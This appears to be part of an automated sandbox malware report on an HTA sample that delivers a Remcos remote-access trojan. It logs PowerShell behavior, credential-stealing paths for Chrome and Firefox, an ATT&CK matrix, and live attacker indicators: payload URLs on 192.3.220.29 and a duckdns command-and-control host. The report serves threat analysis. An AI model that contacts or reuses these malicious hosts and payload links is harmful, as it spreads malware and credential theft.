Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.SecureBoot.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.SecureBoot.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 18_2_00404915 GetLocalTime,CreateEventA,CreateThread,

18_2_00404915

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 18_2_0041A7A2 GetComputerNameExW,GetUserNameW,

18_2_0041A7A2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: 18_2_0044800F _free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,

18_2_0044800F

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Contains functionality to steal Chrome passwords or cookies

Source: Yara match	File source: 16.2.powershell.exe.93565d0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.powershell.exe.93565d0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.3680666998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.3689257366.0000000000C14000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.3693144012.00000000027BE000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.3689257366.0000000000C39000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.3689257366.0000000000BF8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.1721296304.0000000009356000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.1672099112.0000000005CC9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7724, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 8052, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\remcos\logs.dat, type: DROPPED

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: \AppData\Local\Google\Chrome\User Data\Default\Login Data

18_2_0040B21B

Contains functionality to steal Firefox passwords or cookies

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: \AppData\Roaming\Mozilla\Firefox\Profiles\		18_2_0040B335
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: \key3.db		18_2_0040B335

Remote Access Functionality

Detected Remcos RAT

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Mutex created: \Sessions\1\BaseNamedObjects\Rmc-VCYBO3

Source: Yara match	File source: 16.2.powershell.exe.93565d0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.powershell.exe.93565d0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.3680666998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.3689257366.0000000000C14000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.3693144012.00000000027BE000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.3689257366.0000000000C39000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.3689257366.0000000000BF8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.1721296304.0000000009356000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.1672099112.0000000005CC9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7724, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 8052, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\remcos\logs.dat, type: DROPPED

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Code function: cmd.exe

18_2_00405042

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	111 Scripting	Valid Accounts	1 Native API	111 Scripting	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 Bypass User Account Control	2 Obfuscated Files or Information	211 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Email Collection	21 Encrypted Channel	Exfiltration Over Bluetooth	1 Defacement
Email Addresses	DNS Server	Domain Accounts	13 Command and Scripting Interpreter	1 Windows Service	1 Access Token Manipulation	1 Software Packing	2 Credentials In Files	1 System Service Discovery	SMB/Windows Admin Shares	211 Input Capture	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 Service Execution	Login Hook	1 Windows Service	1 DLL Side-Loading	NTDS	3 File and Directory Discovery	Distributed Component Object Model	3 Clipboard Data	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	4 PowerShell	Network Logon Script	222 Process Injection	1 Bypass User Account Control	LSA Secrets	34 System Information Discovery	SSH	Keylogging	213 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	21 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	21 Virtualization/Sandbox Evasion	DCSync	21 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Access Token Manipulation	Proc Filesystem	3 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	222 Process Injection	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
seethebestthignswhichgivingbestopportunities.hta	21%	ReversingLabs	Script-WScript.Trojan.Asthma

Source	Detection	Scanner	Label
http://192.3.220.29/45/seehavingfacingbestthignstogetmebackwithentiretimegreat.tIF9LMEM	0%	Avira URL Cloud	safe
http://192.3.220.29/	0%	Avira URL Cloud	safe
http://192.3.220.29/45/seehavingfacingbestthignstogetmebackwithentiretimegreat.tIF	0%	Avira URL Cloud	safe
http://192.3.220.29/45/seehaving	0%	Avira URL Cloud	safe
http://192.3.220.29/45/HDRDDG.txt	0%	Avira URL Cloud	safe
http://192.3.220.29/45/seehavingfacingbestthignstogetmebackwithentiretimegreat.tIFn	0%	Avira URL Cloud	safe
http://crl.microsoftG	0%	Avira URL Cloud	safe
banaya.duckdns.org	0%	Avira URL Cloud	safe
https://www.html-code-generator.com	0%	Avira URL Cloud	safe
https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu4	0%	Avira URL Cloud	safe
http://192.3.220.29/45/seehavingfacingbestthignstogetmebackwithentiretimegreat.tIF0J/	0%	Avira URL Cloud	safe
http://www.microsoft.W?7	0%	Avira URL Cloud	safe
http://192.3.220.29/45/seehavingfacingbestthignstogetmebackwithentiretimegreat.tIFC:	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
banaya.duckdns.org	192.3.101.149	true	true	unknown
geoplugin.net	178.237.33.50	true	false	high
ip.1017.filemail.com	142.215.209.78	true	false	high
1017.filemail.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://192.3.220.29/45/seehavingfacingbestthignstogetmebackwithentiretimegreat.tIF	true	Avira URL Cloud: safe	unknown
https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f	false		high
http://geoplugin.net/json.gp	false		high
banaya.duckdns.org	true	Avira URL Cloud: safe	unknown
http://192.3.220.29/45/HDRDDG.txt	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6S	powershell.exe, 00000010.00000002.1672099112.0000000004DB8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000001.00000002.1421144583.00000000060A8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1306026171.00000000063D9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.1672099112.0000000005CC9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 00000003.00000002.1303936513.00000000054C6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.html-code-generator.com	mshta.exe, 00000000.00000003.1257089016.0000000006827000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1290146069.0000000006670000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1242645805.00000000067C8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1273166507.00000000056B2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1255793912.00000000074F0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1264355476.0000000006FD0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1251530852.0000000007041000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1259885383.00000000070AC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1242578602.0000000007446000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1250574154.0000000006827000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1250014151.00000000067C8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1282036247.00000000056B2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1271739816.0000000006833000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1252695052.00000000066F0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1251672134.00000000056B3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1255340938.00000000074B0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1283281228.00000000066E9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1252283963.000000000675C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1255426669.0000000007440000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1290936484.0000000007040000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1252470032.00000000066E9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://192.3.220.29/45/seehaving	powershell.exe, 00000001.00000002.1414653804.00000000053ED000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.microsoftG	powershell.exe, 00000003.00000002.1310086977.0000000008AA2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000010.00000002.1672099112.0000000004DB8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://geoplugin.net/json.gpl	CasPol.exe, 00000012.00000002.3689257366.0000000000C39000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000003.00000002.1303936513.00000000054C6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000010.00000002.1672099112.0000000004DB8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000001.00000002.1414653804.000000000550D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000010.00000002.1672099112.0000000005CC9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000010.00000002.1672099112.0000000005CC9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://1017.filemail.com	powershell.exe, 00000010.00000002.1672099112.0000000004DB8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://192.3.220.29/45/seehavingfacingbestthignstogetmebackwithentiretimegreat.tIF9LMEM	powershell.exe, 00000001.00000002.1423686161.0000000007A23000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu4	powershell.exe, 00000010.00000002.1669609816.0000000002B49000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.1672099112.0000000004DB8000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://aka.ms/pscore6LR	powershell.exe, 0000000E.00000002.2079393910.00000000051DA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://go.micros	powershell.exe, 00000003.00000002.1303936513.000000000584F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000010.00000002.1672099112.0000000004DB8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://geoplugin.net/json.gpSystem32	CasPol.exe, 00000012.00000002.3689257366.0000000000C14000.00000004.00000020.00020000.00000000.sdmp	false		high
http://192.3.220.29/	powershell.exe, 00000001.00000002.1424337882.0000000007ABE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://geoplugin.net/json.gp/C	powershell.exe, 00000010.00000002.1672099112.0000000005CC9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.1721296304.0000000009356000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000012.00000002.3680666998.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6lB	powershell.exe, 00000001.00000002.1414653804.0000000005041000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1303936513.0000000005371000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2079393910.00000000051F5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.1672099112.0000000004C61000.00000004.00000800.00020000.00000000.sdmp	false		high
http://192.3.220.29/45/seehavingfacingbestthignstogetmebackwithentiretimegreat.tIFn	powershell.exe, 00000001.00000002.1423686161.0000000007A23000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000003.00000002.1303936513.00000000054C6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000010.00000002.1672099112.0000000005CC9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000001.00000002.1421144583.00000000060A8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1306026171.00000000063D9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.1672099112.0000000005CC9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://192.3.220.29/45/seehavingfacingbestthignstogetmebackwithentiretimegreat.tIFC:	powershell.exe, 00000001.00000002.1423686161.0000000007A23000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.microsoft.W?7	powershell.exe, 00000003.00000002.1310452454.0000000008AF0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000001.00000002.1414653804.0000000005041000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1303936513.0000000005371000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2079393910.00000000051B3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.1672099112.0000000004C61000.00000004.00000800.00020000.00000000.sdmp	false		high
http://192.3.220.29/45/seehavingfacingbestthignstogetmebackwithentiretimegreat.tIF0J/	powershell.exe, 00000001.00000002.1414653804.00000000053ED000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
192.3.220.29	unknown	United States	36352	AS-COLOCROSSINGUS	true
142.215.209.78	ip.1017.filemail.com	Canada	32156	HUMBER-COLLEGECA	false
192.3.101.149	banaya.duckdns.org	United States	36352	AS-COLOCROSSINGUS	true
178.237.33.50	geoplugin.net	Netherlands	8455	ATOM86-ASATOM86NL	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1559566
Start date and time:	2024-11-20 17:17:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 12s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	seethebestthignswhichgivingbestopportunities.hta
Detection:	MAL
Classification:	mal100.rans.phis.troj.spyw.expl.evad.winHTA@20/22@3/4
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Successful, ratio: 100% Number of executed functions: 79 Number of non-executed functions: 189
Cookbook Comments:	Found application associated with file extension: .hta Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target mshta.exe, PID 2816 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 4220 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7040 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7604 because it is empty
Not all processes where analyzed, report is missing behavior information
